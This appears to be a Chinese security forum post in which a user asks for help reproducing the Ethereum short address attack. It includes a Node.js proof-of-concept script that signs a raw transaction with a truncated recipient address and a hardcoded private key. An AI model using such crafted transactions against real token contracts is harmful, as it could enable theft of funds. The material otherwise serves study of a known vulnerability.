128

短地址攻击复现问题

yichen · 于 发布 · 最后由 qiushui777回复 · 68 次阅读

师傅们好,我在复现短地址攻击的时候,参考了这篇文章,他写了个脚本,生成 raw transcation

我跟着这个脚本生成的确实这样的,少了很多内容

复现失败了,想问一下师傅们有别的办法生成这个 raw transcation 嘛,还是说现在已经没办法复现了?(菜鸡可能描述不太准确)

附脚本:

const Web3 = require('web3')
const Tx = require('ethereumjs-tx').Transaction
const privateKey = Buffer.from('068DCAB10E501D352CA1E0E06984C262A000305EFCB8A250C7D31815239C53CE', 'hex')
//私玥
const txParams = {
  nonce: '0x01', //可以通过eth.getTransactionCount(eth.accounts[0])得到
  gasPrice: '5',
  gasLimit: '5000',
  to: '0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed',
  //合约地址
  value: '0x00',
  data: '0x90b98a11000000000000000000000000681428ff41bd940bcf641abaf532f3fbc0146f0000000000000000000000000000000000000000000000000000000000000001',
  //data地址后面去掉了两个0
  // EIP 155 chainId - mainnet: 1, ropsten: 3
  chainId: '2'
}

var content = JSON.stringify(txParams)
var tx = new Tx(content)
tx.sign(privateKey)
var serializedTx = tx.serialize()
console.log('0x' + serializedTx.toString('hex'))